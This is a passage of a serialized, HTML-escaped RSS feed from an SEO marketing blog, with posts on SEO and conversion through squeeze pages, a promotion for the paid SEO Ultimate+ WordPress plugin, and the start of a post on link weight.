sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are you playing it safe with keyword blinders?, or have you diversified your Search Terms?&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;It&amp;#8217;s better to be safe than sorry as a result of &lt;strong&gt;&amp;#8220;having blinders on&amp;#8221;&lt;/strong&gt; when it comes to &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/\&quot;&gt;search engine optimization&lt;/a&gt; and selecting the best keywords for your offer. Instead of thinking in terms of &amp;#8220;the money phrase&amp;#8221;, or, &lt;strong&gt;as soon as I hit the top 10&lt;/strong&gt; for &amp;#8220;my ultimate competitive keyword&amp;#8221;, that floodgates of website traffic will open, sales will inundate our sales team and we will have to hire 20 people to scale our sales department to keep up with the surge of orders and traffic. This is not to say that things like this do not happen, they do, but rarely as a result of one keyword alone.&lt;br /&gt;\n&lt;span id=\&quot;more-105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Don&amp;#8217;t believe keyword hype&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The misconception typically originates as a result of assumption, or misinformation gleaned from data mining tools / keyword research tools (it says this phrase gets 20,000 hits per month, so it must), which is understandable. I can assure you, we have dominated multiple rankings in top 10 competitive keywords with double organic listings, only to be disappointed by the lack of traffic that resulted. Yet, on the other hand, been completely surprised when you write  or optimize something (supposedly less competitive) and experience surges of traffic for weeks from one keyword you may or may not have expected.  &lt;/p&gt;\n&lt;p&gt;It is important to be clear &lt;strong&gt;what search engine optimization is not&lt;/strong&gt;, in order to know what it truly is. &lt;strong&gt;SEO is not the answer to conversion&lt;/strong&gt;, it is just a tool to rouse the masses to investigate your offer, but ultimately the responsibility lies within the realm of the individual or individuals structuring the offer, to determine just what the anticipated end result will be.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are your Pages Eye Candy? or do they Own a Focus&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The internet is full of hungry eyes with agile minds attached, so many in fact, that your pages may just be another snack along the way. In order to change the menu and make your site &lt;strong&gt;&amp;#8220;the main course&amp;#8221;&lt;/strong&gt;, nine times out of ten, some changes need to occur to make the transition from pages with an idle online existence to a page that for lack of better terms, offers you a deal you can&amp;#8217;t refuse.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;What Can You Learn (and apply to your own site) from a Squeeze Page&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;First, the headline&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://seodesignsolutions.com/blog/small-business-marketing/action-words-and-conversion/\&quot;&gt;Call to Action and Conversion&lt;/a&gt; Starts Here. When you look at a typical squeeze page, once you get there, there is no question what the page is about, in fact they make it hard to see anything other than what the topical relevance is when you first set eyes on the page, but why? Because the headline takes up 25% of the screen, is usually in a ridiculously loud color, with quotes and highlighted in yellow. Anyone who fails at that point to surmise what the contextual relevance is for being there, should have their internet license suspended for surfing blind without emotional attachment. &lt;/p&gt;\n&lt;p&gt;In any case, the point being, the pages, despite how obnoxious they are serve a very fundamental purpose, which is to set the tone and funnel the reader&amp;#8217;s attention to the meat and potatoes of the document (typically found at the very bottom alongside a pay pal purchase button). This is were the old adage of (A.I.D.A) attention, interest, desire, action comes into play in it&amp;#8217;s sublime simplicity. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the testimonial&lt;/strong&gt;, but why? Because they know you are skeptical and they know they need to subvert your defenses in order to engage the rational mind behind the emotional response when you shop (do I need this or do I want this, can I ignore or suppress the urge to purchase, or am I genuinely interested) all the while thousands of queries such as this race through the subconscious and either lead your to (a) move along (b) read further, since your there or (c) take the plunge and purchase, because, what the hay, it&amp;#8217;s only money right.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the problem / solution&lt;/strong&gt;, which is usually built on the premise of using questions to preface it&amp;#8217;s significance. Are you tired of? &amp;#8220;the problem&amp;#8221; Do you get frustrated when? Now you can be free of, by using our super duper X,Y,Z solution for mere chump change (only $39.95) for the ultimate answer to your prayers. &lt;/p&gt;\n&lt;p&gt;O.k, so I was a bit over the top, but I&amp;#8217;m sure it&amp;#8217;s not the first time you have seen this pitch,  purchased or nearly purchased something as a result of it. Most of us are conditioned not to respond to such an overtly obvious pitch, however, I must admit, I am an impulse shopper and randomly purchase e-books in this fashion and never get around to reading them (the ideal customer for squeeze pages).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Then, the close,&lt;/strong&gt; here is where they hit you with information about the product or service with the focus is on the &amp;#8220;how you can benefit&amp;#8221; mentality and inevitably the call to action, ORDER NOW!, ORDER TODAY, ORDER IN THE NEXT 5 MINUTES AND RECEIVE A FREE &amp;#8220;rubber ducky, widget,etc.&amp;#8221;, once again, it&amp;#8217;s all about conversion.&lt;/p&gt;\n&lt;p&gt;Sure that page may get 1000 visitors that day, and from that 1000 visitors &lt;strong&gt;100 order&lt;/strong&gt;, that is more than enough to offset the other 900 that did not, so you can see the beauty in their plan. Pages like this could teach a great deal to businesses seeking conversion for their efforts instead of just visitors window shopping and burning up bandwidth, and I must admit even our pages in the main site need to take the positive benefits from such a blatant business model. The squeeze page is just that, a page that funnels their attention to a conclusion and then compels them to take action.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Have you heard of Funneling Attention for Higher Conversions? &lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Business models that make money are using the funneling tactic to amass massive amounts of income, using a tried and true / simplistic theme. Even though is mainly has it&amp;#8217;s place in direct sales, affiliate programs, sales for e-books or inexpensive items. I have seen this tactic used for offers in the thousands and still convert readers (it just took more filler in the middle to build the argument and present the solution). Getting back to the basis of this article, the conclusion is SEO does not ensure conversion, it merely sets the stage.&lt;/p&gt;\n&lt;p&gt;Branding is one thing, but how many people are online just for the sake of saying &amp;#8221; I am the number one brand for industry X&amp;#8221;, perhaps this is important for corporate America, sure, but,for the rest of us out here trying to make ends meet, we need conversion in some way shape or form.&lt;/p&gt;\n&lt;p&gt;Knowing this, instead of thinking narrow when it comes to using SEO, one could opt for a more holistic approach whereby they identify the behavior of the types of clients they would like to attract, thinking of individuals as opposed to demographics from a one dimensional prospective. If you think holistically, you can cover your bases and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/are-you-google-sighted-or-can-you-see-the-big-picture-of-search/\&quot;&gt;optimize entire segments of the niche&lt;/a&gt; as well as use multiple tactics and search engines to draw traffic from a variety of queries and implement &amp;#8220;attention and retention insurance&amp;#8221; for all of your respective offers. &lt;/p&gt;\n&lt;p&gt;For example, instead of one or two phrases, why not have twenty instead, it essentially takes about the same amount of effort and can be accomplished through modifying slight variations of content and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;how your build links&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Just having a top 10 ranking does not ensure traffic, simply because, not all keywords convert! It truly is sad to see so many people just scratching the surface for topical relevance, when in reality mosts sites are capable of acquiring heightened depth (for readership) and conversion and could achieve 400% more times the amount of traffic from just applying rudimentary steps to lead people through the &amp;#8220;expected action for that page&amp;#8221;. But, they have to get there first, so my suggestion in a nutshell is, to &lt;strong&gt;optimize root phrases with pertinent keywords&lt;/strong&gt; instead of simple &amp;#8220;exact match key phrases&amp;#8221;, use strong internal links to get viewers deeper into the site and use graphics or video&amp;#8217;s to cut the bounce rates in half.&lt;/p&gt;\n&lt;p&gt;We will continue along these lines for the next few days and covering topics related to SEO, conversion, structuring your offer and how the way you craft your content, ultimately impacts the bottom line. Stay tuned for the next post&amp;#8230;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=WawDDa-5Yn0:cNEDoVaKCcc:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/WawDDa-5Yn0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:491:\&quot;SEO is nice for popularity, but conversion is even better. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:3:\&quot;wfw\&quot;;a:1:{s:10:\&quot;commentrss\&quot;;s:125:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/feed/\&quot;;}s:5:\&quot;slash\&quot;;a:1:{s:8:\&quot;comments\&quot;;s:2:\&quot;35\&quot;;}s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:120:\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;;}s:7:\&quot;summary\&quot;;s:491:\&quot;SEO is nice for popularity, but conversion is even better. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:10528:\&quot;&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; is nice for popularity, but &lt;strong&gt;conversion is even better&lt;/strong&gt;. So, before you go out and start snatching up more keywords than you can shake a stick at, make sure your offer is up to the challenge of enlivening customer attention and encouraging viewer retention. Otherwise, your marketing efforts will be a mere exercise in futility.&lt;/p&gt;\n&lt;p&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/seo-marketing/how-to-get-your-seo-call-to-action-and-conversion-on-the-same-page/\&quot;&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg\&quot; alt=\&quot;seo and conversion\&quot; width=\&quot;400\&quot; height=\&quot;265\&quot; class=\&quot;aligncenter size-full wp-image-9645\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2007/12/seo-and-conversion-300x199.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are you playing it safe with keyword blinders?, or have you diversified your Search Terms?&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;It&amp;#8217;s better to be safe than sorry as a result of &lt;strong&gt;&amp;#8220;having blinders on&amp;#8221;&lt;/strong&gt; when it comes to &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/\&quot;&gt;search engine optimization&lt;/a&gt; and selecting the best keywords for your offer. Instead of thinking in terms of &amp;#8220;the money phrase&amp;#8221;, or, &lt;strong&gt;as soon as I hit the top 10&lt;/strong&gt; for &amp;#8220;my ultimate competitive keyword&amp;#8221;, that floodgates of website traffic will open, sales will inundate our sales team and we will have to hire 20 people to scale our sales department to keep up with the surge of orders and traffic. This is not to say that things like this do not happen, they do, but rarely as a result of one keyword alone.&lt;br /&gt;\n&lt;span id=\&quot;more-105\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Don&amp;#8217;t believe keyword hype&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The misconception typically originates as a result of assumption, or misinformation gleaned from data mining tools / keyword research tools (it says this phrase gets 20,000 hits per month, so it must), which is understandable. I can assure you, we have dominated multiple rankings in top 10 competitive keywords with double organic listings, only to be disappointed by the lack of traffic that resulted. Yet, on the other hand, been completely surprised when you write  or optimize something (supposedly less competitive) and experience surges of traffic for weeks from one keyword you may or may not have expected.  &lt;/p&gt;\n&lt;p&gt;It is important to be clear &lt;strong&gt;what search engine optimization is not&lt;/strong&gt;, in order to know what it truly is. &lt;strong&gt;SEO is not the answer to conversion&lt;/strong&gt;, it is just a tool to rouse the masses to investigate your offer, but ultimately the responsibility lies within the realm of the individual or individuals structuring the offer, to determine just what the anticipated end result will be.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Are your Pages Eye Candy? or do they Own a Focus&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;The internet is full of hungry eyes with agile minds attached, so many in fact, that your pages may just be another snack along the way. In order to change the menu and make your site &lt;strong&gt;&amp;#8220;the main course&amp;#8221;&lt;/strong&gt;, nine times out of ten, some changes need to occur to make the transition from pages with an idle online existence to a page that for lack of better terms, offers you a deal you can&amp;#8217;t refuse.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;What Can You Learn (and apply to your own site) from a Squeeze Page&lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;First, the headline&lt;/strong&gt; &amp;#8211; &lt;a href=\&quot;http://seodesignsolutions.com/blog/small-business-marketing/action-words-and-conversion/\&quot;&gt;Call to Action and Conversion&lt;/a&gt; Starts Here. When you look at a typical squeeze page, once you get there, there is no question what the page is about, in fact they make it hard to see anything other than what the topical relevance is when you first set eyes on the page, but why? Because the headline takes up 25% of the screen, is usually in a ridiculously loud color, with quotes and highlighted in yellow. Anyone who fails at that point to surmise what the contextual relevance is for being there, should have their internet license suspended for surfing blind without emotional attachment. &lt;/p&gt;\n&lt;p&gt;In any case, the point being, the pages, despite how obnoxious they are serve a very fundamental purpose, which is to set the tone and funnel the reader&amp;#8217;s attention to the meat and potatoes of the document (typically found at the very bottom alongside a pay pal purchase button). This is were the old adage of (A.I.D.A) attention, interest, desire, action comes into play in it&amp;#8217;s sublime simplicity. &lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the testimonial&lt;/strong&gt;, but why? Because they know you are skeptical and they know they need to subvert your defenses in order to engage the rational mind behind the emotional response when you shop (do I need this or do I want this, can I ignore or suppress the urge to purchase, or am I genuinely interested) all the while thousands of queries such as this race through the subconscious and either lead your to (a) move along (b) read further, since your there or (c) take the plunge and purchase, because, what the hay, it&amp;#8217;s only money right.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Next, the problem / solution&lt;/strong&gt;, which is usually built on the premise of using questions to preface it&amp;#8217;s significance. Are you tired of? &amp;#8220;the problem&amp;#8221; Do you get frustrated when? Now you can be free of, by using our super duper X,Y,Z solution for mere chump change (only $39.95) for the ultimate answer to your prayers. &lt;/p&gt;\n&lt;p&gt;O.k, so I was a bit over the top, but I&amp;#8217;m sure it&amp;#8217;s not the first time you have seen this pitch,  purchased or nearly purchased something as a result of it. Most of us are conditioned not to respond to such an overtly obvious pitch, however, I must admit, I am an impulse shopper and randomly purchase e-books in this fashion and never get around to reading them (the ideal customer for squeeze pages).&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Then, the close,&lt;/strong&gt; here is where they hit you with information about the product or service with the focus is on the &amp;#8220;how you can benefit&amp;#8221; mentality and inevitably the call to action, ORDER NOW!, ORDER TODAY, ORDER IN THE NEXT 5 MINUTES AND RECEIVE A FREE &amp;#8220;rubber ducky, widget,etc.&amp;#8221;, once again, it&amp;#8217;s all about conversion.&lt;/p&gt;\n&lt;p&gt;Sure that page may get 1000 visitors that day, and from that 1000 visitors &lt;strong&gt;100 order&lt;/strong&gt;, that is more than enough to offset the other 900 that did not, so you can see the beauty in their plan. Pages like this could teach a great deal to businesses seeking conversion for their efforts instead of just visitors window shopping and burning up bandwidth, and I must admit even our pages in the main site need to take the positive benefits from such a blatant business model. The squeeze page is just that, a page that funnels their attention to a conclusion and then compels them to take action.&lt;/p&gt;\n&lt;p&gt;&lt;strong&gt;Have you heard of Funneling Attention for Higher Conversions? &lt;/strong&gt;&lt;/p&gt;\n&lt;p&gt;Business models that make money are using the funneling tactic to amass massive amounts of income, using a tried and true / simplistic theme. Even though is mainly has it&amp;#8217;s place in direct sales, affiliate programs, sales for e-books or inexpensive items. I have seen this tactic used for offers in the thousands and still convert readers (it just took more filler in the middle to build the argument and present the solution). Getting back to the basis of this article, the conclusion is SEO does not ensure conversion, it merely sets the stage.&lt;/p&gt;\n&lt;p&gt;Branding is one thing, but how many people are online just for the sake of saying &amp;#8221; I am the number one brand for industry X&amp;#8221;, perhaps this is important for corporate America, sure, but,for the rest of us out here trying to make ends meet, we need conversion in some way shape or form.&lt;/p&gt;\n&lt;p&gt;Knowing this, instead of thinking narrow when it comes to using SEO, one could opt for a more holistic approach whereby they identify the behavior of the types of clients they would like to attract, thinking of individuals as opposed to demographics from a one dimensional prospective. If you think holistically, you can cover your bases and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/are-you-google-sighted-or-can-you-see-the-big-picture-of-search/\&quot;&gt;optimize entire segments of the niche&lt;/a&gt; as well as use multiple tactics and search engines to draw traffic from a variety of queries and implement &amp;#8220;attention and retention insurance&amp;#8221; for all of your respective offers. &lt;/p&gt;\n&lt;p&gt;For example, instead of one or two phrases, why not have twenty instead, it essentially takes about the same amount of effort and can be accomplished through modifying slight variations of content and &lt;a href=\&quot;http://seodesignsolutions.com/blog/search-engine-optimization/how-to-build-links-and-optimize-your-website-for-multiple-keywords/\&quot;&gt;how your build links&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Just having a top 10 ranking does not ensure traffic, simply because, not all keywords convert! It truly is sad to see so many people just scratching the surface for topical relevance, when in reality mosts sites are capable of acquiring heightened depth (for readership) and conversion and could achieve 400% more times the amount of traffic from just applying rudimentary steps to lead people through the &amp;#8220;expected action for that page&amp;#8221;. But, they have to get there first, so my suggestion in a nutshell is, to &lt;strong&gt;optimize root phrases with pertinent keywords&lt;/strong&gt; instead of simple &amp;#8220;exact match key phrases&amp;#8221;, use strong internal links to get viewers deeper into the site and use graphics or video&amp;#8217;s to cut the bounce rates in half.&lt;/p&gt;\n&lt;p&gt;We will continue along these lines for the next few days and covering topics related to SEO, conversion, structuring your offer and how the way you craft your content, ultimately impacts the bottom line. Stay tuned for the next post&amp;#8230;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=WawDDa-5Yn0:cNEDoVaKCcc:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/WawDDa-5Yn0\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:4;a:11:{s:5:\&quot;title\&quot;;s:49:\&quot;Don’t Get Left Behind! Upgrade to SEO Ultimate+\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/iOB6cfJihrA/\&quot;;s:8:\&quot;category\&quot;;s:13:\&quot;WordPress SEO\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 21 Dec 2016 08:14:50 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9637\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:2336:\&quot;&lt;p&gt;&lt;img class=\&quot;size-full wp-image-9638 aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg\&quot; alt=\&quot;Upgrade to SEO Ultimate+\&quot; width=\&quot;604\&quot; height=\&quot;364\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg 604w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero-300x181.jpg 300w\&quot; sizes=\&quot;(max-width: 604px) 100vw, 604px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Thanks for clicking through to read this important message.&lt;/p&gt;\n&lt;p&gt;Well, I’ve got &lt;strong&gt;some good news&lt;/strong&gt; and &lt;strong&gt;some bad news&lt;/strong&gt;. The good news is, we’ve got an amazing PRO version of &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward…&lt;br /&gt;\nThe bad news is, &lt;strong&gt;this is the last update for the FREE version&lt;/strong&gt;, but, here’s the deal.&lt;/p&gt;\n&lt;p&gt;We really, really, really love this plugin, but we can’t do both (create new features and support the free, while mutually focusing on the PRO version), so, unfortunately, we’re going to retire the FREE version shortly on January 1st, 2017.&lt;/p&gt;\n&lt;p&gt;But, here’s your chance to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;&lt;strong&gt;get a deep discount of over 40% OFF&lt;/strong&gt;&lt;/a&gt; the regular single license price and get a license for only $29 if you use this link now.&lt;/p&gt;\n&lt;p&gt;Don&amp;#8217;t get left behind and have to use 30 plugins to do the same thing (Internal links, schema markup, Open Graph, link masking, permalink rewrites, canonicalization, mass editing meta data for all pages, posts and post types, 404 monitoring) and more&amp;#8230;.&lt;/p&gt;\n&lt;p&gt;Upgrade to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;SEO Ultimate+&lt;/a&gt; now and kick off the new year with powerful SEO functionality all streamlined in one robust, feature-rich dashboard.&lt;/p&gt;\n&lt;p&gt;Stay tuned.&lt;/p&gt;\n&lt;p&gt;Happy Holidays and all the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=iOB6cfJihrA:LOMpOrWrNEY:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/iOB6cfJihrA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}s:11:\&quot;description\&quot;;s:462:\&quot;Thanks for clicking through to read this important message. Well, I’ve got some good news and some bad news. The good news is, we’ve got an amazing PRO version of SEO Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward… The bad news is, this is &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:10:\&quot;feedburner\&quot;;a:1:{s:8:\&quot;origlink\&quot;;s:98:\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot;;}s:7:\&quot;summary\&quot;;s:462:\&quot;Thanks for clicking through to read this important message. Well, I’ve got some good news and some bad news. The good news is, we’ve got an amazing PRO version of SEO Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward… The bad news is, this is &lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wordpress-seo/dont-get-left-behind-upgrade-to-seo-ultimate/\&quot; class=\&quot;read-more-excerpt\&quot;&gt;Read More&lt;/a&gt;\&quot;;s:12:\&quot;atom_content\&quot;;s:2336:\&quot;&lt;p&gt;&lt;img class=\&quot;size-full wp-image-9638 aligncenter\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg\&quot; alt=\&quot;Upgrade to SEO Ultimate+\&quot; width=\&quot;604\&quot; height=\&quot;364\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero.jpg 604w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2016/12/superhero-300x181.jpg 300w\&quot; sizes=\&quot;(max-width: 604px) 100vw, 604px\&quot; /&gt;&lt;/p&gt;\n&lt;p&gt;Thanks for clicking through to read this important message.&lt;/p&gt;\n&lt;p&gt;Well, I’ve got &lt;strong&gt;some good news&lt;/strong&gt; and &lt;strong&gt;some bad news&lt;/strong&gt;. The good news is, we’ve got an amazing PRO version of &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; Ultimate called SEO Ultimate+ that we’re going to update and add features to exclusively from this point forward…&lt;br /&gt;\nThe bad news is, &lt;strong&gt;this is the last update for the FREE version&lt;/strong&gt;, but, here’s the deal.&lt;/p&gt;\n&lt;p&gt;We really, really, really love this plugin, but we can’t do both (create new features and support the free, while mutually focusing on the PRO version), so, unfortunately, we’re going to retire the FREE version shortly on January 1st, 2017.&lt;/p&gt;\n&lt;p&gt;But, here’s your chance to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;&lt;strong&gt;get a deep discount of over 40% OFF&lt;/strong&gt;&lt;/a&gt; the regular single license price and get a license for only $29 if you use this link now.&lt;/p&gt;\n&lt;p&gt;Don&amp;#8217;t get left behind and have to use 30 plugins to do the same thing (Internal links, schema markup, Open Graph, link masking, permalink rewrites, canonicalization, mass editing meta data for all pages, posts and post types, 404 monitoring) and more&amp;#8230;.&lt;/p&gt;\n&lt;p&gt;Upgrade to &lt;a href=\&quot;https://www.seoultimateplus.com/breaking-news\&quot;&gt;SEO Ultimate+&lt;/a&gt; now and kick off the new year with powerful SEO functionality all streamlined in one robust, feature-rich dashboard.&lt;/p&gt;\n&lt;p&gt;Stay tuned.&lt;/p&gt;\n&lt;p&gt;Happy Holidays and all the best,&lt;/p&gt;\n&lt;p&gt;Jeffrey&lt;/p&gt;\n&lt;p&gt;&amp;nbsp;&lt;/p&gt;\n&lt;div class=\&quot;feedflare\&quot;&gt;\n&lt;a href=\&quot;http://feeds.seodesignsolutions.com/~ff/SeoDesignSolutionsBlog?a=iOB6cfJihrA:LOMpOrWrNEY:yIl2AUoC8zA\&quot;&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~ff/SeoDesignSolutionsBlog?d=yIl2AUoC8zA\&quot; border=\&quot;0\&quot;&gt;&lt;/img&gt;&lt;/a&gt;\n&lt;/div&gt;&lt;img src=\&quot;http://feeds.feedburner.com/~r/SeoDesignSolutionsBlog/~4/iOB6cfJihrA\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; alt=\&quot;\&quot;/&gt;\&quot;;}i:5;a:13:{s:5:\&quot;title\&quot;;s:49:\&quot;Managing Link Weight and Building Link Insurance!\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/SbAgitQy41g/\&quot;;s:8:\&quot;category\&quot;;s:75:\&quot;Link BuildingBuilding Links to Your LinksLink-InsuranceManaging Link Weight\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Sun, 01 May 2016 07:48:55 PDT\&quot;;s:4:\&quot;guid\&quot;;s:102:\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:5536:\&quot;&lt;p&gt;I Just wanted to share a quick &lt;a href=\&quot;http://www.seodesignsolutions.com\&quot;&gt;SEO&lt;/a&gt; strategy for &lt;strong&gt;balancing link weight&lt;/strong&gt;. Have you ever used a tiered link strategy? Although there may be other names for it, personally, I call this &lt;strong&gt;link insurance&lt;/strong&gt; (insurance in the sense that just in case you need it).&lt;br /&gt;\n&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/link-building/managing-link-weight-and-building-link-insurance/\&quot;&gt;&lt;img class=\&quot;aligncenter wp-image-9603 size-full\&quot; src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg\&quot; alt=\&quot;link-weight-link-insurance\&quot; width=\&quot;400\&quot; height=\&quot;346\&quot; srcset=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance.jpg 400w, http://www.seodesignsolutions.com/blog/wp-content/uploads/2008/05/link-weight-link-insurance-300x260.jpg 300w\&quot; sizes=\&quot;(max-width: 400px) 100vw, 400px\&quot; /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Since the value of links is all based on the collective support they rally. The stronger the backlink the more value it can pass to your site as far as aiding your pages in maintaining or increasing positioning.&lt;span 